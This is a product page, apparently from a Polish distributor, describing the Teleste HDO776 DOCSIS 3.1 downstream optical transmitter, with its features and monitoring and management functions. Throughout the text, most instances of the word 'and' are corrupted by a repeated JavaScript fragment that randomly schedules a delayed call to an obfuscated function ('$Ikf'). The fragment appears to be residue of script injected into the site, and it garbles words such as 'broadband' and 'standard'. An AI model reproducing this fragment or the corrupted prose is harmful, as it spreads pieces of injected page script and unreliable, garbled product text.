Kanał dosyłowy downstream

Teleste - HDO776 NADAJNIK

HDO776 downstream transmitter supports frequencies up to 1218 MHz andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has one 10 dBm output. HDO776 is a directly modulated 1550 nm C-bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and DWDM transmitter for short, medium andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and long distances. It supports broadbandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, narrowcast andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and broadcast services in digital andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and analog formats.

Features:

  • DOCSIS 3.1 compatible
  • Standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andardised input levell
  • Two inputs with level adjustments
  • Equaliser in both inputs
  • High isolation between inputs
  • Automatic power control providing constant total OMI as standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andard feature
  • ITU wavelengths
  • Electrical dispersion compensator provides a good CSO performance over longer transmission distances
  • Unused input can be switched off for power saving andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and noise reduction
  • Integrated input amplifiers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and laser driver amplifiers
  • Low power consumption andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and high performance
  • Optional spectrum analyser function
  • Optional integrated xWDM filter to combine forward andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and return paths into one fibre or to combine various forward wavelengths into one fibre
  • Fibre connectors can be located at the rear or at the front panel
  • Small form factor family, 2 RU height
  • Local andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and remote software control of all adjustments
  • Forced cooling through the unit

Management features

  • Monitoring of APC (Automatic Power Control) functionality with user configurable offset
  • Optical output power monitoring
  • Laser bias current monitoring
  • TEC (Thermo-Electric Cooler) current monitoring
  • Laser temperature monitoring
  • Signal level adjustment in both inputs
  • Slope adjustment in both inputs
  • Input 2 switch on/off
  • Channel level measurement when equipped with spectrum analyser option
  • Link length setting
  • LED indicators for signal andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and module statuses
  • Internal temperature measurement andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and monitoring
  • Intelligent fan speed control with monitoring
  • Non-volatile logging of 32 latest events, including alarms, alarming values, settings changes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and application starts..
  • Uptime andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and total uptime counters
  • All adjustments andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and alarm limits fully user configurable
  • Local PC connection through backplane HDO bus with HDX021 cable
  • Remote IP connection through HDC100 controller module
  • SNMP monitoring andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and configuration through HDC100 controller module
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